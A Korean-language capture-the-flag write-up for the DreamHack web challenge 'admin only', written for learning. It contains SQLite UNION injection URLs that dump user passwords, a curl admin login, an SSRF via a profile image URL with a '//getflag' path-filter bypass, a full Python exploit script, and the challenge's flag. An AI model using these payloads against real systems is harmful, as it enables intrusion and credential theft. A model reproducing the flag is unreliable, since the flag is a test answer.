문제: DreamHack — admin only 분류: Web 난이도: ⭐⭐⭐ Level 3 FLAG:
DH{6512d6aa2b2e22f3f5372788c41b55a5}
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | admin only |
| 난이도 | ⭐⭐⭐ Level 3 |
| 분류 | Web |
| 서버 | http://host8.dreamhack.games:15492/ |
| 제공 파일 | 89d2b64d-504c-46ac-adf4-8fe164fd5893.zip (내부: nope 파일) |
| 핵심 취약점 | SQLite UNION Injection → Admin 탈취 → SSRF + //getflag 경로 우회 |
zip 파일을 열면 nope! ヾ (✿>﹏⊙〃)ノ 한 줄짜리 파일만 들어있다.
/getflag 접근이 거부될 때 서버가 돌려주는 바로 그 메시지. "쉬운 길은 없다"는 힌트.
🔬 분석
Step 1 — 홈페이지 숨겨진 힌트

페이지 소스에 CSS로 숨겨진 힌트 블록이 있다.
<div class="h1"> <!-- position: fixed; bottom:0 left:0 -->
<div class="h2"> <!-- color:#fff, font-size:8px → 흰색 글씨 -->
<div class="h3"> <!-- display:none -->
dirb
<div class="h4"> <!-- visibility:hidden -->
<div class="hint"> <!-- opacity:0 -->
robots.txt
</div>
</div>
</div>
</div>
</div>힌트 두 가지: dirb (디렉터리 브루트포스), robots.txt.
Step 2 — robots.txt → /getflag 발견
http://host8.dreamhack.games:15492/robots.txtUser-agent: *
Disallow: /getflag
/getflag 가 크롤링 금지 목록에 등록되어 있다. 이 엔드포인트가 FLAG를 돌려준다.
직접 접근하면 403 + nope!.
Step 3 — /search SQL Injection
검색 페이지의 GET 파라미터 q 에 ' (홑따옴표)를 넣으면:
http://host8.dreamhack.games:15492/search?q=%27unrecognized token: "'"SQLite 에러가 날것으로 노출된다 → 파라미터가 쿼리에 직접 삽입됨.

컬럼 수 파악 — ORDER BY
%27 은 홑따옴표(')의 URL 인코딩이다. 이게 없으면 SQL 인젝션이 트리거되지 않는다.
# 에러 유발 (6번째 컬럼 없음 → out of range 에러)
http://host8.dreamhack.games:15492/search?q=%27+ORDER+BY+6+--+
# 성공 (5번째까지는 OK → 빈 결과)
http://host8.dreamhack.games:15492/search?q=%27+ORDER+BY+5+--+원본 쿼리 컬럼 수 = 5개.

UNION SELECT — 표시 위치 확인
http://host8.dreamhack.games:15492/search?q=%27+UNION+SELECT+1,2,3,4,5+--+테이블에 1번·2번·4번 컬럼이 출력됨 (3, 5번은 숨겨짐).
Step 4 — 테이블 스키마 + 비밀번호 추출
# sqlite_master에서 users DDL 추출
http://host8.dreamhack.games:15492/search?q=%27+UNION+SELECT+sql,name,3,type,5+FROM+sqlite_master+WHERE+name%3D%27users%27+--+CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
password TEXT NOT NULL,
role TEXT NOT NULL,
image TEXT
)표시 컬럼(2번 자리)에 password를 배치:
# users 테이블 전체 덤프
http://host8.dreamhack.games:15492/search?q=%27+UNION+SELECT+id,password,username,image,role+FROM+users+--+
| ID | Password | Role |
|---|---|---|
| 1 | 9cc4d8bb26b53db84f42b6bd3968131f | admin |
| 2 | asdf | user |
| 3 | 1q2w3e4r! | user |
admin의 password 컬럼값이 MD5 해시처럼 보이지만, 로그인 시 해싱 없이 직접 비교하는 구조다.
Step 5 — Admin 로그인
추출한 해시값을 비밀번호로 그대로 제출:
curl -v -c cookies.txt -b cookies.txt \
-X POST http://host8.dreamhack.games:15492/login \
-d "username=admin&password=9cc4d8bb26b53db84f42b6bd3968131f"HTTP/1.1 302 FOUND
Location: /
Set-Cookie: session=eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6ImFkbWluIn0...302 리다이렉트 + Admin 세션 쿠키 발급 → 로그인 성공.
세션 디코드: {"role": "admin", "username": "admin"}

Step 6 — /profile SSRF 발견
Admin으로 로그인하면 Profile 메뉴가 생긴다. 프로필 페이지에 이미지 URL 입력 폼이 있다.
<form method="POST">
<input type="text" name="image_url" placeholder="Image URL">
<button type="submit">Update</button>
</form>서버가 입력한 URL로 HTTP 요청을 보내 이미지를 가져온다 → SSRF 취약점.
SSRF 요청에 현재 사용자의 세션 쿠키가 자동 포함됨도 확인됨 (localhost /profile 접근 시 Profile 페이지 반환).

💣 핵심 취약점 — //getflag 경로 우회
/getflag에 직접 접근하면 (admin 세션이 있어도) 403이다.
내부 SSRF로 http://127.0.0.1:5000/getflag를 호출해도 403이다.
핵심: Flask/Werkzeug는 //getflag → /getflag로 라우팅하지만,
/getflag 접근 필터는 request.path == '/getflag' 를 체크한다.
//getflag로 요청하면 request.path가 //getflag로 들어오므로 필터를 우회할 수 있다.
# Flask 라우터: //getflag → /getflag 엔드포인트로 매핑됨
# 필터 체크: request.path = '//getflag' → '/getflag' 조건 불일치 → 통과🎯 풀이 흐름
홈페이지 소스 → hidden hint: dirb, robots.txt
↓
robots.txt → Disallow: /getflag
↓
/search?q=' → SQLite 에러 → UNION Injection (5컬럼)
↓
UNION SELECT → admin password: 9cc4d8bb26b53db84f42b6bd3968131f
↓
POST /login (admin, hash) → 302 → Admin 세션 쿠키
↓
/profile image_url → SSRF (세션 쿠키 포워딩)
↓
SSRF URL: http://127.0.0.1:5000//getflag ← 더블 슬래시!
↓
FLAG 획득 → 프로필 이미지로 저장됨 (base64 디코딩)🚀 Full Exploit
cd /home/jinho/Dev/Hacking_Project/01_admin_only
python3 solve.py
solve.py
import urllib.request, re, urllib.parse, base64, http.cookiejar
BASE = "http://host8.dreamhack.games:15492"
# 1. Login
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
opener.open(urllib.request.Request(
f"{BASE}/login",
data=b"username=admin&password=9cc4d8bb26b53db84f42b6bd3968131f",
headers={"Content-Type": "application/x-www-form-urlencoded"},
method="POST"
), timeout=5)
session = next(c.value for c in cj if c.name == "session")
# 2. SSRF → //getflag
opener.open(urllib.request.Request(
f"{BASE}/profile",
data=f"image_url={urllib.parse.quote('http://127.0.0.1:5000//getflag')}".encode(),
headers={"Cookie": f"session={session}", "Content-Type": "application/x-www-form-urlencoded"},
method="POST"
), timeout=10)
# 3. Read flag from profile image
profile = opener.open(urllib.request.Request(
f"{BASE}/profile", headers={"Cookie": f"session={session}"}
), timeout=5).read().decode()
b64 = re.search(r'base64,([A-Za-z0-9+/=]+)', profile).group(1)
print(base64.b64decode(b64).decode())
# DH{6512d6aa2b2e22f3f5372788c41b55a5}▶🐛 삽질 기록 — //getflag 우회 발견 전까지
다 시도해봤는데 /getflag가 계속 403이었던 것들:
| 시도 | 결과 |
|---|---|
| X-Forwarded-For: 127.0.0.1 헤더 | 403 |
| SSRF → http://127.0.0.1:5000/getflag | 403 (쿠키 포워딩해도 거부) |
| SSRF → http://0.0.0.0:5000/getflag | 403 |
| SSRF → http://2130706433:5000/getflag (decimal IP) | 403 |
| SSRF → http://[::1]:5000/getflag (IPv6) | 403 |
file:// SSRF | 차단됨 |
SSTI (`{{7*7}}`, `{{config}}`) | 에러 |
| Flask 세션 크래킹 | 실패 |
SQLite readfile() / load_extension() | 비활성화 |
로그인 SQLi (admin'--) | 세션 미발급 |
SSRF가 세션 쿠키를 포워딩한다는 건 확인했는데, /getflag 필터 우회 방법을 못 찾아서 한참 막혔다.
//getflag (더블 슬래시) 이 아이디어는 경로 정규화 vs. 필터 체크의 타이밍 차이를 이용한 것.
📝 결론
hidden hint 패턴 — CSS로 숨긴 힌트(display:none, opacity:0 등)는 소스를 직접 확인해야 한다. 렌더된 화면에서는 절대 보이지 않는다.
SQLite ORDER BY 열거 — UNION 컬럼 수 파악에 ORDER BY N을 사용하면 빠르게 범위를 좁힐 수 있다. 에러 메시지가 그대로 노출된다면 SQLite임을 바로 확정할 수 있다.
평문처럼 저장된 해시 — password 컬럼의 값이 MD5처럼 보여도, 로그인 로직이 해싱 없이 직접 비교한다면 추출한 값을 그대로 사용 가능하다. 입력값을 해싱하지 않는 구조임을 먼저 확인하는 게 중요하다.
SSRF + 경로 우회 조합 — //getflag는 Flask 라우터에서 /getflag와 동일하게 처리되지만, 필터가 정확히 /getflag만 체크한다면 더블 슬래시로 우회할 수 있다. URL 정규화 타이밍의 허점을 노린 기법으로, SSRF가 없었다면 불가능했을 조합이다.